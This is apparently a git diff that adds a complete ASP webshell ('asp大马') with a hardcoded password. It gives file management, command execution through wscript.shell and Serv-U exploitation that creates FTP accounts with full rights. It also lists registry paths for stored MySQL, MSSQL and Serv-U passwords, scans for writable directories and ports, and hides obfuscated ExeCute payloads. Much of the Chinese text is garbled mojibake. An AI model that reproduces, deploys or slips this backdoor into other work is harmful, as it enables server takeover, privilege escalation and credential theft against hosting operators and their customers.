mt & newdomain & newuser & quit + Set xPost =nothing + response.write "
    FTP user "&fuser&" pass "&fpass&" at port "& fport &"
    " + elseif request.Form("radiobutton") = "del" Then + + loginuser = "User " & user & vbCrLf + loginpass = "Pass " & pass & vbCrLf + mt = "SITE MAINTENANCE" & vbCrLf + deluser = "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & port & vbcrlf & " User="& fuser & vbcrlf + quit = "QUIT" & vbCrLf + Set xPost3 = CreateObject("MSXML2.XMLHTTP") + xPost3.Open "POST", "http://127.0.0.1:"& port &"/secdst", True + xPost3.Send loginuser & loginpass & mt & deluser & quit + Set xPOST3=nothing + response.write "
    FTP user "&fuser&" pass "&fpass&" at port "& fport &" have deleted
    " + else + response.write "
    let's Start!!!
    " + end if +end function +Function fuzhutq1() +RRS"

    :Ȩ:

    " +RRS"360ɱdbļ滻:
    " +RRS"c:\Program Files\360\360SD\deepscan\Section\mutex.db
    " +RRS"c:\Program Files\360\360Safe\deepscan\Section\mutex.db
    " +RRS"C:\Program Files\360\360Safe\AntiSection\mutex.db
    " +RRS"Flashļ滻:
    " +RRS"C:\WINDOWS\system32\Macromed\Flash\Flash10q.ocx
    " +RRS"IISrewrite3 ļ滻
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\Rewrite.log
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\httpd.conf
    " +RRS"C:\Program Files\Helicon\ISAPI_Rewrite3\error.log
    " +RRS"DU MeterͳϢ־ļ滻
    " +RRS"c:\Documents and Settings\All Users\Application Data\Hagel Technologies\DU Meter\log.csv
    " +RRS"ŵɱļ滻:
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Persist.bak
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Validate.dat
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Persist.Dat
    " +RRS"ļ滻:
    " +RRS"C:\WINDOWS\hchiblis.ibl
    " +RRS"һĿ¼ļ
    " +RRS"C:\7i24.com\iissafe\log\startandiischeck.txt
    " +RRS"C:\7i24.com\iissafe\log\scanlog.htm
    " +RRS":
    " +RRS"Zend: C:\Program Files\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0\php-5.2.x\ZendOptimizer.dll
    " +RRS"C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index\
    " +RRS"Ps:Ȩͨڸϵͳ
    " +end function +Function fuzhutq2() +RRS"

    :Ȩ:

    " +RRS"1`c:\windows\temphzhostµftp½¼vû
    " +RRS"2@mssql sa,mysql root뼰serv-uadministrator
    " +RRS"mysql root룺HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass
    " +RRS"sqlserver sa룺HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mastersvrpass
    " +RRS"Serv-u룺HKEY_LOCAL_MACHINE\software\hzhost\config\settings\svrpass
    " +RRS"Ϣhzhostsϵͳ6.x ƽݿ빤ʹ
    " +RRS"صַٶ 'hzhostsϵͳ6.x ƽݿ빤'
    " +RRS"Ps:Ȩͨڴϵͳ
    " +end function +Function fuzhutq3() +RRS"

    :NȨ:

    " +RRS"Ĭݿأ
    " +RRS"1.9棺host_date/%23host%20%23%20date%23.mdb
    " +RRS"1.96棺host_date/%23host%20%23%20date%23196.mdb
    " +RRS"巽ͨͬIIS,ȻվNվĿ¼£ַͨػصõsamysqlվϢkeyͨĴܣ
    " +'RRS"ַ:Ĵ" +RRS"Ps:Ȩͨڴϵͳ
    " +end function +Function fuzhutq4() +RRS"ȴ2ED" +end function +Function fuzhutq5() +if Request("Paths") ="" then +Paths_str="c:\windows\"&chr(13)&chr(10)&"c:\Documents and Settings\"&chr(13)&chr(10)&"c:\Program Files\" +if Session("paths")<>"" then Paths_str=Session("paths") + Response.Write "
    " + Response.Write "˳ԼĿ¼д,ΪṩһЩȫϢ!
    Ŀ¼,ԶĿ¼
    " + Response.Write "" + Response.Write "
    " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
    " +else +Response.Write "·
    " +CheckFile = (Request("CheckFile")="on") +CheckNextDir = (Request("CheckNextDir")="on") +ShowNoWriteDir = (Request("ShowNoWrite")="on") +NoCheckTemp = (Request("NoCheckTemp")="on") +Response.Write "ҪһʱԵ......
    " +response.Flush + +Session("paths") = Request("Paths") + +PathsSplit=Split(Request("Paths"),chr(13)&chr(10)) +For i=LBound(PathsSplit) To UBound(PathsSplit) +if instr(PathsSplit(i),":")>0 then + ShowDirWrite_Dir_File Trim(PathsSplit(i)),CheckFile,CheckNextDir +End If +Next +Response.Write "[ɨ]
    " +end if +end function +Function cmd2() +response.write"
    " +response.write"" +response.write"
    " +response.write"" +end function +Function suftp() +RRS"

    ɰ汾Ϣ:

    " +RRS"
    " +RRS"
    Ա:
    " +RRS"
    Ա :
    " +RRS"
    SERV-U˿:
    " +RRS"
    ӵû:
    " +RRS"
    ӵû:
    " +RRS"
    ʺŵԵ·:
    " +RRS"
    ˿:
    " +RRS"
    ȷ" +RRS"
    ȷɾ" +RRS"

    " +Usr = request.Form("duser") +pwd = request.Form("dpwd") +port = request.Form("dport") +tuser = request.Form("tuser") +tpass = request.Form("tpass") +tpath = request.Form("tpath") +tport = request.Form("tport") +'Command = request.Form("dcmd") +if request.Form("radiobutton") = "add" Then +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +'leaves = leaves & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf +leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _ +"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _ +"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _ +"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _ +"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _ +"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _ +"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf +'leaves = leaves & "quit" & vbcrlf +'-------- +On Error Resume Next +Set xPost = CreateObject("MSXML2.XMLHTTP") +xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost.Send(leaves) +Set xPOST=nothing +RRS ("ɹִУFTP û: " & tuser & " " & ": " & tpass & " ·: " & tpath & " :)

    ") +else +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf +Set xPost3 = CreateObject("MSXML2.XMLHTTP") +xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost3.Send(leaves) +Set xPOST3=nothing +RRS "OKOKOK

    " +end if +End Function +Case "ScanDriveForm" + ScanDriveForm + Case "ScanDrive" + ScanDrive Request("Drive") + Case "ScFolder" + ScFolder Request("Folder") +case "apjdel":apjdel():case "Servu7x":su7():case "fuzhutq1":fuzhutq1():case "fuzhutq2":fuzhutq2():case "fuzhutq3":fuzhutq3():case "fuzhutq4":fuzhutq4():case "fuzhutq5":fuzhutq5():case "Cmd2":cmd2():case "suftp":suftp():case"hiddenshell":hiddenshell():case "php":php():case "aspx":aspx():case "jsp":jsp():Case "MMD":MMD():Case "adminab":adminab():Case "sql":sql():Case "downloads":downloads():Case "ReadREG":call ReadREG():Case "att":call att():Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Cmd1Shell":Cmd1Shell():Case "Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "Course":Course():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ExeCute SinfoEn("r(ErowShn he tu~rvSe>~ntm/h> + \ No newline at end of file diff --git a/www-7jyewu-cn/星外虚拟机提权专用asp大马.asp b/www-7jyewu-cn/星外虚拟机提权专用asp大马.asp new file mode 100644 index 0000000..d40026c --- /dev/null +++ b/www-7jyewu-cn/星外虚拟机提权专用asp大马.asp @@ -0,0 +1,1296 @@ +<% +UserPass="woshidaka"' +Server.ScriptTimeout=999999999 +Response.Buffer =true +On Error Resume Next +'------------------------ڲ ---------------------- +mmname ="---ȨרWebshell" 'shell +mmshell ="ȨרWebshell 80secƷ" 'shellȨ +errout ="󣡣" 'ʾ +serversoft=Request.ServerVariables("server_software") +'------------------------------------------- + +response.write ""+vbCrLf+""+vbCrLf+"" + +Response.Buffer = True +Server.ScriptTimeOut=999999999 + +CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject" + + +'· \ +function GetFullPath(path) + GetFullPath = path + if Right(path,1) <> "\" then GetFullPath = path&"\" 'ַ \ ľͼ +end function + +'ɾļ +Function Deltextfile(filepath) + On Error Resume Next + Set objFSO = CreateObject(CONST_FSO) + if objFSO.FileExists(filepath) then 'ļǷ + objFSO.DeleteFile(filepath) + end if + Set objFSO = nothing + Deltextfile = Err.Number 'ش +End Function + + +'Ŀ¼Ƿд 0 Ϊɶд 1Ϊдɾ +Function CheckDirIsOKWrite(DirStr) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + filepath = GetFullPath(DirStr)&fso.GettempName + FSO.CreateTextFile(filepath) + CheckDirIsOKWrite = Err.Number 'ش + if ShowNoWriteDir and (CheckDirIsOKWrite =70) then + Response.Write "[Ŀ¼]"&DirStr&" ["&Err.Description&"]
    " + end if + set fout =Nothing + set FSO = Nothing + Deltextfile(filepath) 'ɾ + if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1 +end Function + +'ļǷ޸(˷޸,ܻе㲻׼) +function CheckFileWrite(filepath) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + set getAtt=FSO.GetFile(filepath) + getAtt.Attributes = getAtt.Attributes + CheckFileWrite = Err.Number + set FSO = Nothing + set getAtt = Nothing +end function + +'Ŀ¼Ŀɶд +function ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + B = FSO.FolderExists(Path) + set FSO=nothing + + 'ǷΪʱĿ¼ǷҪ + IS_TEMP_DIR = (instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTemp + + if B=false then 'Ŀ¼ͽļ + '========================================================================== + Re = CheckFileWrite(Path) 'Ƿд + if Re =0 then + Response.Write "[ļ]"&Path&"
    " + b =true + exit function + else + Response.Write "[ļ]"&Path&" ["&Err.Description&"]
    " + exit function + end if + '========================================================================== + end if + + + + Path = GetFullPath(Path) ' \ + + re = CheckDirIsOKWrite(Path) 'ǰĿ¼Ҳһ + if (re =0) or (re=1) then + Response.Write "[Ŀ¼]"& Path&"
    " + end if + +Set FSO = Server.CreateObject(CONST_FSO) +set f = fso.getfolder(Path) + + + +if (CheckFile=True) and (IS_TEMP_DIR=false) then +b=false +'====================================== +for each file in f.Files + Re = CheckFileWrite(Path&file.name) 'Ƿд + if Re =0 then + Response.Write "[ļ]"& Path&file.name&"
    " + b =true + else + if ShowNoWriteDir then Response.Write "[ļ]"&Path&file.name&" ["&Err.Description&"]
    " + end if +next +if b then response.Flush 'ݾˢ¿ͻʾ +'====================================== +end if + + + +'============= Ŀ¼ ================ +for each file in f.SubFolders +if CheckNextDir=false then 'ǷһĿ¼ + re = CheckDirIsOKWrite(Path&file.name) + if (re =0) or (re=1) then + Response.Write "[Ŀ¼]"& Path&file.name&"
    " + end if +end if + + if (CheckNextDir=True) and (IS_TEMP_DIR=false) then 'ǷһĿ¼ + ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir 'ټһĿ¼ + end if +next +'====================================== +Set FSO = Nothing +set f = Nothing +end function + +Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next: +ExeCute "sub ShowErr():If Err Then:RRS""

     "" & Err.Description & ""

    "":Err.Clear:Response.Flush:End If:end sub" +Sub RRS(str):response.write(str):End Sub +Function RePath(S) +RePath=Replace(S,"\","\\") +End Function +Function RRePath(S):RRePath=Replace(S,"\\","\") +End Function +URL=Request.ServerVariables("URL") +ServerIP=Request.ServerVariables("LOCAL_ADDR") +Action=Request("Action"):Pos=2 +RootPath=Server.MapPath(".") +WWWRoot=Server.MapPath("/") +Serveru=request.servervariables("http_host")&url +FolderPath=Request("FolderPath"): +Pn=pos*44:FName=Request("FName"):pso=5:BackUrl="

    " +RRS"" +RRS""&mmname&" - "&ServerIP&"--Soft - "&serversoft&"" +RRS ""©url&"" +rrS"" +rRs"" +ExeCute SinfoEn("lError=kilnerrodow.o;}win trueeturns(){rError killctiont>funscrip=javaguaget lanscripRRS~ȷϼݿSQL5
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}":RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""ݿӴǷȷ!"");return false;}if(str.length<10){alert(""SQLǷȷ!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" +RRS"function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}" +rrs "" +Dim Sot(13,2):Sot(0,0) = "Scripting.FileSystemObject":Sot(0,2) = "ļ":Sot(1,0) = "wscript.shell":Sot(1,2) = "ִ":Sot(2,0) = "ADOX.Catalog":Sot(2,2) = "ACCESS":Sot(3,0) = "JRO.JetEngine":Sot(3,2) = "ACCESSѹ":Sot(4,0) = "Scripting.Dictionary":Sot(4,2) = "ϴ":Sot(5,0) = "Adodb.connection":Sot(5,2) = "ݿ":Sot(6,0) = "Adodb.Stream":Sot(6,2) = "ϴ":Sot(7,0) = "SoftArtisans.FileUp":Sot(7,2) = "SA-FileUp ļϴ":Sot(8,0) = "LyfUpload.UploadFile":Sot(8,2) = "Ʒļϴ":Sot(9,0) = "Persits.Upload.1":Sot(9,2) = "ASPUpload ļϴ":Sot(10,0) = "JMail.SmtpMail":Sot(10,2) = "JMail ʼշ":Sot(11,0) = "CDONTS.NewMail":Sot(11,2) = "SMTP":Sot(12,0) = "SmtpMail.SmtpMail.1":Sot(12,2) = "SmtpMail":Sot(13,0) = "Microsoft.XMLHTTP":Sot(13,2) = "ݴ" +For i=0 To 13 +Set T=Server.CreateObject(Sot(i,0)) +If -2147221005 <> Err Then +IsObj=" " +Else +IsObj=" " +Err.Clear +End If +Set T=Nothing +Sot(i,1)=IsObj +Next + + + + +If FolderPath<>"" then +Session("FolderPath")=RRePath(FolderPath) +End If:If Session("FolderPath")="" Then +FolderPath=RootPath +Session("FolderPath")=FolderPath +End if +Function MainForm() +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"XProgram2EAllUsersn#ibibpcAnywhereLMserv-uDv~ⳣд~:SQLIJPHPEDconfigWPdataeFTempm?RECYCLERv,д7" +RRS"" +RRS"" +RRS"
    ַ" +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"

    ʾ

    " +RRS"" +End Function:Function MainMenu() +RRS"" +RRS"" +If soT(0,1)=" " Then +RRS"" +Else +Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +End if +RRS"

    " +RRS"
    Ȩ
    վĿ¼
    Ŀ¼
    ϼĿ¼
    ½Ŀ¼
    ½ı
    Զ
    ϴļ
    дĿ¼
    ޸Ȩ
    ش
    Ȩ
    Ȩ

    Ȩ
    ɨĿ¼дD
    û˺
    Ա
    Զ¼
    ֧
    ִCMD
    Cmd2
    SQLִCMD
    ˿ɨ
    Serv-uȨ
    Serv-u Ftp
    Serv-u7xȨ
    ע
    ASPX̽
    PHP̽
    JSP̽
    ߼
    ݿ
    ˳¼
    " +End Function: +Sub ScanDriveForm() + Dim FSO,DriveB + Set FSO = Server.Createobject("Scripting.FileSystemObject") +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " + + + For Each DriveB in FSO.Drives + +Response.Write " " +Next +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    /ϵͳļϢ
    Windowsļ" +Response.Write FSO.GetSpecialFolder(0) +Response.Write "
    System32ļ" +Response.Write FSO.GetSpecialFolder(1) +Response.Write "
    ϵͳʱļ" +Response.Write FSO.GetSpecialFolder(2) +Response.Write "

    " +Response.Write "
    " +Response.Write "ǰվ·:"&Server.MapPath("/")&"" +Response.Write "
    ָļвѯ" +Response.Write " " +Response.Write " Wָļ·b磺F:\ASP\" +Response.Write "
    " +Response.Write "
    " + Set FSO=Nothing +End Sub + +Sub ScanDrive(Drive) + Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D + If Drive <> "" Then + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestDrive = FSO.GetDrive(Drive) + If TestDrive.IsReady Then + Temp_Str = "
  • ̷ͣ" & Red(TestDrive.FileSystem) & "
  • кţ" & Red(TestDrive.SerialNumber) & "
  • ̹" & Red(TestDrive.ShareName) & "
  • " & Red(GetTheSize(TestDrive.TotalSize)) & "
  • ̾" & Red(TestDrive.VolumeName) & "
  • ̸Ŀ¼:" & ScReWr((Drive & ":\")) + + Set BaseFolder = TestDrive.RootFolder + Set TempFolders = BaseFolder.SubFolders + For Each D in TempFolders + Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(D) + Next + Set TempFolder = Nothing + Set BaseFolder = Nothing + Else + Temp_Str = Temp_Str & "
  • ̸Ŀ¼:" & Red("ɶ:(") + Dim TempFolderList,t + t=0 + Temp_Str = Temp_Str & "
  • " & Red("Ŀ¼ԣ") + TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") + For i = 0 to Ubound(TempFolderList) + If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then + t = t+1 + Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(Drive & ":\" & TempFolderList(i)) + End if + Next + If t=0 then Temp_Str = Temp_Str & "
  • " & Drive & "̸Ŀ¼δз:(" + End if + Set TestDrive = Nothing + Set FSO = Nothing + Temp_Str = Temp_Str & "
  • ע⣺" & Red("Ҫˢ±ҳ棬ֻдļл´ļ!") + Message Drive & ":Ϣ",Temp_Str,1 + End if +End Sub + +Sub ScFolder(folder) + On Error Resume Next + Dim FSO,OFolder,TempFolder,Scmsg,S + Set FSO = Server.Createobject("Scripting.FileSystemObject") + If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) + Set TempFolders = OFolder.SubFolders + Scmsg = "
  • ָļиĿ¼" & ScReWr(folder) + For Each S in TempFolders + Scmsg = Scmsg&"
  • ļУ" & ScReWr(S) + Next + Set TempFolders = Nothing + Set OFolder = Nothing + Else + Scmsg = Scmsg & "
  • ļУ" & Red(folder & "ڻ޶Ȩ!") + End if + Scmsg = Scmsg & "
  • ע⣺" & Red("Ҫˢ±ҳ棬ֻдļл´ļ!") + Set FSO = Nothing + Message "ļϢ",Scmsg,1 +End Sub + +Function ScReWr(folder): + On Error Resume Next + Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestFolder = FSO.GetFolder(folder) + Set TestFileList = TestFolder.SubFolders + RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" + For Each A in TestFileList + Next + If err Then + err.Clear + ReWrStr = folder & " ɶ," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "дq" + Else + ReWrStr = ReWrStr & "дq" + FSO.DeleteFile folder & RndFilename,True + End If + Else + ReWrStr = folder & " ɶ," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "дY" + Else + ReWrStr = ReWrStr & "дY" + FSO.DeleteFile folder & RndFilename,True + End if + End if + Set TestFileList = Nothing + Set TestFolder = Nothing + Set FSO = Nothing + ScReWr = ReWrStr +End Function + +Sub Message(state,msg,flag) +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    ϵͳϢ
    " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    " +Response.Write state +Response.Write "

    " +Response.Write msg +Response.Write "

    " +Response.Write "
    " +Response.Write " " +If flag=0 Then +Response.Write " " +Response.Write " " +Else +Response.Write " " +Response.Write " " +End if +Response.Write "
    " +End Sub +Function Red(str):Red = "" & str & "" +End Function +Sub PageAddToMdb():ExeCute SinfoEn("atePth, cteAthm Dih`~)cteAth(~stueeq R =cteAth`~)thPahe~tt(esquRe= h atePth`0000=1uteOimtTipcr.SerrvSe0`he Tb~MdTodd~a= t Ache tIfn`thPahe(tdboMdTad)`UrckBa~&v>dibr>dibr>os=podthmem or=8zesi~ ~~& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnpAche=tmenab MdTodd=aueal venddhie=yp tutnpiopt/oOpp=aueal vontiop>Fso=fueal vontiop>~ctlese~'ʼ'e=luvat miub=spetyt puin
    ~rmfobr:<)O֧FS(⿪>r/os=podthmem or=8zesi~ b~mdH.HS~\& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnp'e=luvat miub=spetyt puin>
    ~rmfo ilehi WDo`enThe lsFa= ) i), thPahe(tftLes(stxirEdeol.F~)ctjeObemstSyleFig.inptriSc(~ctjeObteeaCrr.veer SIf`)) 1 - ih,atePtht(ef(LerldFoteeaCr).t~ecbjmOteyseSil.Fngtiipcr~St(ecbjeOatre.CerrvSe`Ifd En`he T~)~\, 1)+ i , thPahe(tid(MtrnS IIfn`\~ ~), 1 + ih,atePthd(Mir(stIn+ i = i )`ls Ee`= i 0`Ifd En`opLo",Pos):End Sub:Sub saTreeForMdb(thePath, rs, stream):ExeCute SinfoEn("stLileFiys sr,deoleFth, emitm Di`b$ldH.HSb$mdH.HS~$= t iseLilsFsy~`h)atePthe(acSpmeNaX.sa= r deoleFtht Se`mste.IerldFohe tInm te ichEar Fo`enThe ru T =erldFoIsm.te iIf`amrest, rs, thPam.te idbrMFoeeTrsa`ls Ee`enTh0 = <~)~$& e am.Nemit& ~ ~$, stLileFiys(strnS IIf`Nedd.Arsw` 4h,at.Pemitd(Mi= ) h~atePth(~rs)`h)at.Pemite(ilmFrodFoa.Lamrest`d(ea.Ramrest= ) t~enntColefi(~rs)`atpd.Urse`Ifd En`Ifd En`xtNe`inthNo= r deoleFtht Seg",Pos):End Sub:Function Course():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='600widthable br>ϵr='megcoloer' b'centlign='3' aspan=' colt='20heigh>~` nextesumeror ron er`NT://(~Winbject getObj inach ofor e.~)`err.clear`e=~~ rtTypJ.Staif OBthen`&~~` FF~~>#FFFFor=~~bgcol20~~ ht=~~ heig&~&nbsFFF~~~#FFFlor=~ bgcod>~`d>&nbs~~2~~span=~ colFFFF~~~#FFolor=~ bgc~~20~ight=td he~ `end if`x=~Զhen le=2 trtTypJ.Staif OB~`x=~ֶhen le=3 trtTypJ.Staif OB~`x=~hen le=4 trtTypJ.Staif OB~`pe=2 artTyBJ.Stand Owin~ ))<>~h,4,3j.patid(obase(mif LCthen`>&nbsF0000or=#Ft col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`else`>&nbs399FFor=#3t col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`end if`next`~",Pso):End Function:Function ServerInfo():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='80%widthable br>r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~`td>~&reFFFF'='#FFcolortd bg/td>&nFFFFFor='#bgcol>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloIPFFF'>'#FFFolor=' bgc='200width'20' ight=td heer'><'centlign=='_blargetrm' t'ipfoname=asp' ndex.com/ip138.www.itp://n='htactiopost thod=rm me&~<'2'>~&nFFFFFr='#Fgcolonbsp;FF'>&#FFFFlor=' bgcod>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloCPU'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~#FFFFlor=' bgcod>&nbsFFFF'='#FFcolortd bg/td><ϵͳ<'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo汾'>WEBFFFFFr='#Fgcolo00' bth='2' widt='20heigh>~&SoFFFF'='#FFcolortd bg/td><0)&~~&SFFFFFr='#Fgcolo00' bth='2' widt='20heigh>" +end sub:Function UpFile(): +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    ϴȫ·ѡһļϴ!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="



    ļ"&UName&"ϴɹ
    " +RRS ""©url&"" +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +RRS SI +ShowErr() +Response.End +End If +SI="


    " +SI=SI&"" +SI=SI&"
    " +SI=SI&"ϴ·" +SI=SI&" " +SI=SI&" " +SI=SI&"
    " +RRS SI: +End Function::Function Cmd1Shell():ExeCute SinfoEn("checked=~ checked~`t(~SPeques) = RPath~Shellion(~ Sess Then)<>~~(~SP~questIf Re~)`ath~)hellPon(~SSessiPath=Shell`md.ex = ~clPath Shel Thenth=~~ellPaif She~`heckehen ces~ t)<>~yript~(~wscquestif Red=~~`cmd~)est(~ RequCmd =n Def~ The~)<>~(~cmdquestIf Re`st'>~d='pomethoform SI=~<`bsp;~sp;&n'>&nbh:70%'widttyle=&~' SlPath&Shelue='~' vale='SPt namWScrked&~&checyes'~lue='t' vascripme='wx' naeckboe='chc typlass=put c&~alue=it' v'submtype=nput '> " +end if +else +si="


     

    "&mmshell&"
